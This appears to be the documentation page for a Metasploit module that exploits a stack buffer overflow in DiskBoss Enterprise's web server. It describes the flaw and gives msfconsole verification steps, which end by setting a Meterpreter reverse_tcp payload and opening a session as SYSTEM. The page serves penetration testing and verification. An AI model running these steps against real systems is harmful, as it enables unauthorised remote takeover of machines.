Vulnerable Application

DiskBoss Enterprise versions up to v7.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at Exploit-DB.

Verification Steps

  1. Install a vulnerable DiskBoss Enterprise

  2. Start DiskBoss Enterprise service

  3. Start DiskBoss Enterprise client application

  4. Navigate to Tools > DiskBoss Server Options > Server

  5. Check Enable Web Server On Port 80 to start the web interface

  6. Start msfconsole

  7. Do use exploit/windows/http/diskboss_get_bof

  8. Do set rhost ip

  9. Do check

  10. Verify the target is vulnerable

  11. Do set payload windows/meterpreter/reverse_tcp

  12. Do set lhost ip

  13. Do exploit

  14. Verify the Meterpreter session is opened
